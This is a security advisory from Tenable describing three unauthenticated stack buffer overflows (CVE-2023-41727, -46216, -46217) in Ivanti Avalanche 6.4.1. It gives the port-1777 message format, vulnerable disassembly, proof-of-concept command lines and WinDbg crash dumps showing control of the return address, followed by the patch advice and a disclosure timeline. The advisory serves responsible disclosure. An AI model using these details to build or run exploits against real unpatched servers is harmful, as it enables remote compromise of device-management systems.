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Ivanti Avalanche Multiple Vulnerabilities

Critical

Synopsis

Multiple vulnerabilities exist in Ivanti Avalanche v6.4.1 WLAvalancheService.exe.

CVE-2023-41727 - MuProperty type 100 stack-based buffer overflow (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

A message sent to WLAvalancheService.exe on TCP port 1777 has the following structure:

// be = big-endian
strut msg
{
   preamble pre;
   hp hdrpay;
};

struct preamble
{
   be32 MsgSize;     // size of hp + 16
   be32 HdrSize;     // size of hp.hdr
   be32 PayloadSize  // size of hp.payload
   be32 unk;
};

// header + payload
struct hp
{
   MuProperty hdr[];      // hdr as array of MuProperty structure(s)
   MuProperty payload[];  // payload as array of MuProperty structure(s)
   byte pad[];            // zero-padded to 16-byte boundary
};

struct MuProperty
{
   be32 type;  // property type, valid: 1-9, 100-102 
   be32 NameSize;
   be32 ValueSize;
   byte name[NameSize];
   byte value[ValueSize];  // format depends on @type
                           // 3 - hex string
                           // 9 - list of decimal strings separated by ;
                           // 100-102 - list of tokens separated by ;
                           
};

When processing a MuProperty type 100, WLAvalancheService.exe copies user-supplied data to a fixed-size stack-based buffer. An unauthenticated remote attacker can specify a long MuProperty type 100 to overflow the buffer. The following code snippet shows vulnerability:

// WLAvalancheService.exe in Avalanche v6.4.1
[...]
.text:0042AF00  mov     ecx, [ebp+TokenSize] ; attacker-controlled token size
.text:0042AF03  mov     esi, [ebp+pbToken] ; attacker-controlled token data
.text:0042AF06  lea     edi, [ebp+buf80] ; fixed-size stack buf ->
.text:0042AF06                          ; stack overflow !!!
.text:0042AF0C  mov     eax, ecx
.text:0042AF0E  shr     ecx, 2
.text:0042AF11 memcpy
.text:0042AF11  rep movsd
.text:0042AF13  mov     ecx, eax
.text:0042AF15  and     ecx, 3
.text:0042AF18  rep movsb
[...]

PoC:

python3 avalanche_v6.4.1_WLAvalancheService_stack_bof.py -t <target-host> -p 1777 --vuln 1

Attempting to overflow a stack-based buffer using MuProperty type 100...
Traceback (most recent call last):
  File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 86, in <module>
    res = recv_msg(s)
  File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 32, in recv_msg
    data = recvall(sock, 0x10)
  File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 22, in recvall
    packet = sock.recv(n - len(data))
ConnectionResetError: [Errno 104] Connection reset by peer

Sample crash in WinDbg:
 
0:059> g
(102c.29dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Wavelink\Avalanche\MobileDeviceServer\WLAvalancheService.exe
eax=00001000 ebx=025ab100 ecx=000002a2 edx=00000000 esi=0274ee11 edi=04cc0000
eip=0042af11 esp=04cbfa4c ebp=04cbfb1c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
WLAvalancheService+0x2af11:
0042af11 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:041> kb
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 04cbfb1c 41414141     41414141 41414141 41414141 WLAvalancheService+0x2af11
01 04cbfb20 41414141     41414141 41414141 41414141 0x41414141
02 04cbfb24 41414141     41414141 41414141 41414141 0x41414141
03 04cbfb28 41414141     41414141 41414141 41414141 0x41414141
[...]

CVE-2023-46216 - MuProperty type 101 stack-based buffer overflow (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

When processing a MuProperty type 101, WLAvalancheService.exe copies user-supplied data to a fixed-size stack-based buffer. An unauthenticated remote attacker can specify a long MuProperty type 101 to overflow the buffer. The following code snippet shows vulnerability:

// WLAvalancheService.exe in Avalanche v6.4.1
[...]
.text:0042B1A7  mov     ecx, [ebp+TokenSize] ; attacker-controlled token size
.text:0042B1AA  mov     esi, [ebp+pbToken] ; attacker-controlled token data
.text:0042B1AD  lea     edi, [ebp+buf80] ; fixed-size stack buf ->
.text:0042B1AD                          ; stack overflow !!!
.text:0042B1B3  mov     eax, ecx
.text:0042B1B5  shr     ecx, 2
.text:0042B1B8 memcpy
.text:0042B1B8  rep movsd
.text:0042B1BA  mov     ecx, eax
.text:0042B1BC  and     ecx, 3
.text:0042B1BF  rep movsb
[...]

PoC:

python3 avalanche_v6.4.1_WLAvalancheService_stack_bof.py -t <target-host> -p 1777 --vuln 2

Attempting to overflow a stack-based buffer using MuProperty type 101...
Traceback (most recent call last):
  File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 86, in <module>
    res = recv_msg(s)
  File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 32, in recv_msg
    data = recvall(sock, 0x10)
  File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 22, in recvall
    packet = sock.recv(n - len(data))
ConnectionResetError: [Errno 104] Connection reset by peer

Sample crash in WinDbg:

0:060> g
(259c.17e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Wavelink\Avalanche\MobileDeviceServer\WLAvalancheService.exe
eax=00001000 ebx=025c8a68 ecx=000002a2 edx=00000001 esi=02765621 edi=04f60000
eip=0042b1b8 esp=04f5fa4c ebp=04f5fb1c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
WLAvalancheService+0x2b1b8:
0042b1b8 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:042> kb
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 04f5fb1c 41414141     41414141 41414141 41414141 WLAvalancheService+0x2b1b8
01 04f5fb20 41414141     41414141 41414141 41414141 0x41414141
02 04f5fb24 41414141     41414141 41414141 41414141 0x41414141
03 04f5fb28 41414141     41414141 41414141 41414141 0x41414141
[...]

CVE-2023-46217 - MuProperty type 102 stack-based buffer overflow (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

When processing a MuProperty type 102, WLAvalancheService.exe copies user-supplied data to a fixed-size stack-based buffer. An unauthenticated remote attacker can specify a long MuProperty type 102 to overflow the buffer. The following code snippet shows vulnerability:

// WLAvalancheService.exe in Avalanche v6.4.1
[...]
.text:0042B27D  mov     ecx, [ebp+TokenSize] ; attacker-controlled token size
.text:0042B280  mov     esi, [ebp+pbToken] ; attacker-controlled token data
.text:0042B283  lea     edi, [ebp+buf80] ; fixed-size stack buf ->
.text:0042B283                          ; stack overflow !!!
.text:0042B289  mov     eax, ecx
.text:0042B28B  shr     ecx, 2
.text:0042B28E memcpy
.text:0042B28E  rep movsd
.text:0042B290  mov     ecx, eax
.text:0042B292  and     ecx, 3
.text:0042B295  rep movsb
[...]

PoC:

python3 avalanche_v6.4.1_WLAvalancheService_stack_bof.py -t <target-host> -p 1777 --vuln 3

Attempting to overflow a stack-based buffer using MuProperty type 102...
Traceback (most recent call last):
  File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 86, in <module>
    res = recv_msg(s)
  File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 32, in recv_msg
    data = recvall(sock, 0x10)
  File "/work/0day/avalanche_v6.4.1_WLAvalancheService_stack_bof.py", line 22, in recvall
    packet = sock.recv(n - len(data))
ConnectionResetError: [Errno 104] Connection reset by peer

Sample crash in WinDbg:

0:060> g
(2a44.1f28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Wavelink\Avalanche\MobileDeviceServer\WLAvalancheService.exe
eax=00001000 ebx=025cbc48 ecx=000002a2 edx=0275ab2a esi=0275a0a1 edi=04f60000
eip=0042b28e esp=04f5fa4c ebp=04f5fb1c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
WLAvalancheService+0x2b28e:
0042b28e f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:044> kb
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 04f5fb1c 41414141     41414141 41414141 41414141 WLAvalancheService+0x2b28e
01 04f5fb20 41414141     41414141 41414141 41414141 0x41414141
02 04f5fb24 41414141     41414141 41414141 41414141 0x41414141
03 04f5fb28 41414141     41414141 41414141 41414141 0x41414141
[...]

 

Solution

Upgrade to Ivanti Avalanche 6.4.2 or later.

Disclosure Timeline

September 5, 2023 - Tenable discloses issues to vendor.
September 6, 2023 - Vendor acknowledges.
November 7, 2023 - Tenable requests status update from vendor.
November 7, 2023 - Vendor provides status update and requests deadline extension to January.
November 9, 2023 - Tenable declines to extend deadline that far out, offers 2 week extension.
November 9, 2023 - Vendor acknowledges.
November 14, 2023 - Vendor repeats request for extension.
November 15, 2023 - Tenable grants 2 week extension.
November 22, 2023 - Vendor acknowledges.
December 18, 2023 - Vendor notifies Tenable of patch.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2023-42
Affected Products:
Ivanti Avalanche v6.4.1 and prior
Risk Factor:
Critical

Advisory Timeline

December 18, 2023 - Initial release.

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